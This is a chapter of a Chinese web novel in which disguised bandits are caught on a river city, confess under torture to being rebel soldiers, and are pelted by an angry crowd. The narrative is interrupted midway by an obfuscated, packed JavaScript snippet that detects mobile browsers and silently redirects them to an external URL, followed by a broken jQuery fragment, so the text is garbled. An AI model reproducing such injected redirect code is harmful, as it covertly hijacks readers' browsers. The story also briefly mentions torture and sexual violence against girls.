99. 第 99 章

作品:《我的竹马暴君小可怜

    六人在荆州三城之一的葫芦岛住下。葫芦岛顾名思义像个大葫芦,周围被水环绕,外地人称之水城。


    几人都觉得匪贼最有可能的藏身之处就是这大葫芦岛,那势必也会最先攻击大葫芦岛。


    不过隔了一日,暗卫就在附近查出了好几拨可疑之人。可惜剿匪军还没到。


    第三日时,可疑之人更可疑了,还变得更多。


    不仅都是外来的,还都是同一时候到此地的,各个又都是身强体壮的年轻人。有的在码头帮着来往客商卸货,有的在哪个员外家当家丁,其中一个开打铁铺的最可疑。


    暗卫发现打铁铺中藏有暗门,铁匠日日打千斤铁,买兵器的远不止铁匠打的多,打铁铺内极有可能私藏兵器。


    这时候出其不意,来个瓮中捉鳖,还不伤一兵一卒,更不会连累百姓,最好不过。


    只可惜,剿匪军还没到。


    元香知道剿匪军统领何其多是陛下的心腹,陛下说的体谅剿匪军的话,当然她也赞同。但做事情不是这样做的呀。


    前去探路的暗卫都回来两批了。前天回来的说是剿匪军吃坏东西拉肚子,真走不了,今天的回来说何其多统领路过一个山村时发现有老虎伤人迹象,上山打虎去了。


    “事情总要分轻重缓急的。等回到京都,承基兄面君时,可一定要参此人一本。简直太过分。”


    赵成康不知道他的承基兄就是骄皇承基,还以为何其多仗着天高皇帝远偷工耍滑。


    “可不是嘛。”元香同样看陛下,“郎君以后眼睛要睁睁大。”


    玄旺替陛下说话:“夫人,公子的眼睛够大的了。”


    莫骄认真点头:“为夫知道了。何其多本人还是可堪重用的,要不然在黔州也不能只用两日,就将藏于山坳的匪贼拿下。”


    赵成康好奇:“那此番为何?”


    莫骄定定望着他,片刻后,说:“何其多定是真的遇到麻烦。剿匪军也是人,也会犯错的。放心吧,等回了京都,何其多定会主动向陛下请罪的。”


    莫骄看元香:“何其多是个说一不二的硬汉,和当年的元隆将军一样。”


    元香听到她爹名字,来了精神,当下也不恼何其多了。问起陛下对于元隆的看法。


    他们父女这些年躲藏在梨花村,连真正的身份都不能露,这可都拜他爹隋皇所赐。想当年,没回京都,他们父女还在边关时是多么受百姓爱戴,在众多百姓心里,大将军元隆那是大越朝的希望,大越朝的顶梁柱。


    可回京后,一切都变了。等他们父女流落到梨花村时,百姓们记得的元隆怕只是早已身死倒霉催的逆贼元隆。


    元香这还是第一回听他说起元隆。陡然听到他说元隆好话,元香当然要问问啦。


    莫骄就将元隆从头到脚夸了一遍,那是滔滔不绝俩时辰。说他打小就崇拜元将军,想跟元将军练武,可惜他身子骨不允许。元将军迈着虎步,走路虎虎生风,旁人只能画虎类犬。边关幸有元将军,如今元将军虽不在了,但突厥至今听到元将军的名声还是闻风而逃。


    元香就跟听故事一样,听得入迷。其实有些故事,她早听了不知道几遍了,但换个人说,同样新鲜。


    香儿要听,莫骄当然不带停的讲下去。回到两人的房里,他也没停。


    莫骄打个哈欠的空隙,元香深深叹口气,说话:“哎,要是元将军在这边,他听到这些话一定很高兴,也一定很喜欢陛下的。”


    这日晚,莫骄做了个美梦。他梦到元将军要求自己好好照顾香儿,说从此以后香儿就托付给他了。


    胸前压着一只手,元香等他睡着了,打算将他的手挪开。抬眼一瞟,就瞧见这家伙嘴角是上翘的。


    元香不动了。


    搅人美梦缺德。


    看来回去之后,得尽快给他找个小青梅的替身。她也好过两日清净日子。


    又隔两日,何其多还没到,好在匪贼也没动静。


    元香几个正求佛保佑,匪贼他们再多藏几日时,出事了。


    葫芦岛刺史不知怎么得到消息,竟带着府衙数百兵围了打铁铺,还从铺内搜出千把兵器。


    可惜,捉到的匪贼却只有十人不到。


    正当元香以为葫芦岛刺史要一筹莫展时,没想到葫芦岛刺史是个狠角色,直接在打铁铺中升了案堂,动起刑法来。还不禁止百姓围观。


    在葫芦岛刺史狠辣手段下,匪贼又供出了他们在葫芦岛的另外两个窝点。


    葫芦岛刺史当即派人前往窝点捉拿。就这么找到窝点,再用刑,再找窝点。


    而匪贼还逃不出去,据说葫芦岛刺史一早就禁严了城门,更有外调军队看守了码头。


    一时,匪贼如同被捞上岸的小鱼苗,扑腾不止。


    正当匪贼要和刺史决一死战,打算走水路,逃出生天时,何其多带着剿匪军虎虎生风而来。


    匪贼心知捉住就是死,更要和剿匪军鱼死网破。


    又一时,葫芦岛码头方圆数里尸横遍野,血流成河。


    只不到傍晚,匪贼被尽数拿下。


    隔日,葫芦岛县衙正门大敞着,人数众多的匪贼跪满了堂下堂外,刺史县令陪着何其多坐于一堂,开展了一起别开生面的审讯。


    在酷刑之下,多数匪贼竟承认他们是蓝眉军假扮。


    要是一个说,百姓们自不敢相信,但接二连三都说自己是蓝眉军的人。怎么不说大丰收和瓦岗寨,偏说蓝眉军,那肯定他们就是蓝眉军的人无疑了。


    围观的百姓们恍然大悟,敢情黔州和荆州发生的匪患都是蓝眉军背后捣鬼。他们整这一出想干嘛呀?


    不一会儿,百姓们又都知道,蓝眉军之所以假扮匪贼,竟是要和朝廷作对。


    几个嘴硬的匪贼知无力回天,见围观百姓众多,又煽风点火,大骂暴君:“乡亲们!蓝眉军是在替天行道!暴君作恶多端,不顾咱们老百姓的死活,他不配做大越的皇!你们都睁大眼看看吧,蓝眉军才是大家最后的庇佑啊!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269474|148429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一整颗大白菜从百姓头顶飞过,正中那唾沫横飞的匪贼后脑勺。


    “陛下好不好另说,但你们蓝眉军肯定不是好东西。要好,那能当匪贼吗?”


    “我两个可怜的侄女就是被他们奸辱致死,我那老大哥好不容易老来得女,结果白发人送黑发人,得知俩闺女的噩耗,直接自焚了呀!”


    再坚持不住,那老妇人直接坐地上拍腿大哭起来。


    “我有亲戚前几日半夜从邙山县跑来投奔我,说是孩子女人都被他们抢了。才不过七八岁大的女娃,他们竟也下得去手祸害!畜生不如,畜生不如!”老大爷狰狞着脸,抖不停的手指指着一个个匪贼,恨不得将他们生吞活剥了。


    “就是,陛下不配,岳疯子配吗?配个屁!要让岳疯子当了陛下,那大越才是真的完了!”


    一时群情激奋,不少百姓,但凡手里拿了东西的,都一股脑往匪贼身上砸。有些小孩还去捡石子,回来丢匪贼。


    但凡匪贼说一句话,百姓们更往死了砸,一个个匪贼被绑着手脚,只能缩起脖子,低着头,不敢再开口。


    转眼间,府衙大堂成了菜市口。被扔了好几个石头和牛粪的县令好说歹说才让大家手下留情。


    这要一个两个刁民,他直接把人逮了,可眼前的都不止上百人,直将县衙大门堵的里三圈外三圈。所谓法不责众,引起众怒的后果是个官员都吃不消呀。


    元香没有再往前挤,要两个家伙没有紧紧牵着她的手,她当然是想蹲第一排看热闹的。可惜,带了两个拖油瓶。


    不过他们光听说话声,也能将里头发生的情况了解的一清二楚。


    又过了会儿,堂内结束,见周围动起来,元香赶紧拽着陛下和陈丫丫溜进一旁的酒楼。


    挑了一个靠窗的桌,大家坐下歇息。


    赵成康感慨说:“没想到事情超乎意外的顺利。不仅一下子抓住了这帮匪贼,咱们不用宣扬,也让百姓们知道了他们就是蓝眉军假扮的。在下越想越觉得,老天都站咱们这边,承基兄,你可与我想的一样?”


    莫骄正瞧香儿一脸快活啃点心呢,听到有人和自己说话,转头看去,十分不走心的点头:“自然。”好在,陛下装模作样是最会的。


    赵成康继续说:“总感觉冥冥中有一只手在操纵这一切。”


    高三全笑眯眯接话:“那还不是老天有眼,老天都不支持那些逆贼。”


    元香瞧着热闹的县衙大门,也觉得此事太过顺利了。不说黔州,就葫芦岛,剿匪军还没到,远在他县的刺史怎么就带兵过来了?谁通知的?


    赵成康忽地又想起:“这事不对。你们可有听到那大娘哭诉,大娘怎知道翠凤翠珠两姐妹被奸辱而死,人都是咱们葬的,两姐妹的爹恐怕都没这么清楚。承基兄,这事真的不对呀?”


    元香一听这话,也觉得更不对劲了。她看陛下。


    莫骄也眸含秋水回看她,浅笑说:“是说那坐在地上痛哭流涕的大娘吗?”